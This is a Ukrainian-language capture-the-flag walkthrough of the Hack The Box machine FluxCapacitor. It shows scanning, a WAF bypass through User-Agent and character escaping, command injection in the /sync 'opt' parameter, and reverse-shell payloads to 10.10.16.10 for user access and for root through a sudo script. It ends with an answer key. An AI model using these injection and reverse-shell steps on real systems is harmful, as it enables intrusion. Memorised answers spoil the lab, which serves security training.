Для початку додамо IP-адресу у файл hosts.
sudo nano /etc/hosts

Проведемо початкове сканування за допомогою masscan: будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і перевіримо результат.
sudo masscan -p1-65535,U:1-65535 10.129.210.16 --rate=500 -e tun0 > fluxcapacitor
cat fluxcapacitor
![]()
Тепер проскануємо єдиний відкритий порт за допомогою nmap. Використовуємо опції sC для стандартних скриптів, sV для визначення версій служб та oA для збереження результатів у файл.
nmap -p80 -sC -sV -oA nmap/fluxcapacitor fluxcapacitor.htb

Nmap повідомляє нам, що на порту 80 працює вебсервер OpenResty версії 1.13.6.1. Також видно заголовок — SuperWAF. Давайте відкриємо сторінку через браузер.

OK: Node1 жива. Це все, що ми отримуємо. Переглянувши вихідний код сторінки, знаходимо коментар.

Давайте спробуємо відкрити ендпоїнт sync через браузер.

Вебсервер відповідає нам кодом — 403 — доступ заборонено. Трохи вище в nmap ми знайшли згадку про WAF, отже, тут є вебфаєрвол.
Переключимося на gobuster і проскануємо папки на сервері.
gobuster dir -u http://fluxcapacitor.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt

Буде знайдено ендпоїнт sync та інші, що також починаються на sync*, до яких теж немає доступу. Переключимося на burp suite і спробуємо змінити заголовок запиту. Вмикаємо перехоплення в burp suite і через браузер надсилаємо запит, ловимо його в burp suite, відправляємо в Repeater і через вкладку відсилаємо запит.

Знову отримуємо помилку 403. Тепер давайте змінимо агент (User-Agent) і знову відправимо запит. Я змінив агент на CatZilla.

І отримуємо відповідь. Нам показують час.

Це підтверджує, що на сайті працює WAF.
Переключимося на wfuzz і спробуємо підібрати параметр для ендпоїнта.
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt "http://fluxcapaсitor.htb/sync?FUZZ=test"

Але відповідей занадто багато, тому виключимо код 19 у стовпці Chars і продовжимо.
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=19 "http://fluxcapaсitor.htb/sync?FUZZ=test"

Wfuzz знаходить нам параметр opt. Повернемося в burp suite і додамо цей параметр.

І також у відповіді будемо отримувати поточний час.
Але якщо додамо CatZilla до параметра, знову отримаємо помилку 403.

Екрануючи запит, отримаємо успішну відповідь 200.

Додаючи символ ; знову отримаємо помилку. Тобто якісь символи пропускаються, а якісь ні. Повернемося до wfuzz, щоб знайти дозволені та заборонені символи.
wfuzz -c -w /usr/share/seclists/Fuzzing/special-chars.txt -H "User-Agent: CatZilla" "http://fluxcapacitor.htb/sync?opt=FUZZ"
wfuzz дуже швидко відпрацював і показав нам такий результат.

;`|)(*$<> — є забороненими символами. Спробуємо скласти конструкцію з дозволених символів і пропінгувати себе. Для цього спочатку запустимо tcpdump.
sudo tcpdump -i tun0 icmp

Якщо зробимо запит /sync?opt=‘pi\ng 10.10.16.10’, то ніяких пінгів не буде. Але якщо додамо пробіл на початку команди, то ping запуститься.

Спробуємо скласти запит для завантаження файлу за допомогою wget, попередньо підготувавши файл із реверс-шеллом та замінивши IP-адресу на адресу свого тунельного інтерфейсу.
nano index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.10/1234 0>&1
![]()
Запустимо вебсервер на Python.
python3 -m http.server 80

І сформуємо запит.

Але отримаємо помилку 403. Спробуємо екранувати символи.

І файл буде успішно завантажено. Тепер давайте запустимо реверс-шелл, попередньо запустивши слухача.


І отримуємо сесію в nc.

І читаємо прапор користувача (user.txt).

Одразу перевіримо дозволи sudo.
sudo -l

З виводу команди видно, що через sudo ми можемо запускати скрипт .monit за шляхом /home/themiddle/. Давайте подивимося на цей скрипт.

Скрипт дуже простий. Спочатку потрібно передати cmd, а потім base64-закодоване навантаження, яке буде запускатися під root.
Спочатку запустимо слухача на порту 2345.
nc -lnvp 2345

І закодуємо навантаження.
echo "bash -i >& /dev/tcp/10.10.16.10/2345 0>&1" | base64
![]()
Отриманий рядок передамо в скрипт і переходимо до слухача.


Настав час прочитати прапор root.
![]()
Відповіді на запитання:
How many TCP ports are listening on FluxCapacitor? - 1
What is the relative endpoint on the webserver that returns a timestamp when not blocked by the web application firewall (WAF)? - /sync
What HTTP GET parameter changes the output of /sync? - opt
What user is the webserver running as? - nobody
What is the full path to the file that the nobody user can run as root with sudo - /home/themiddle/.monit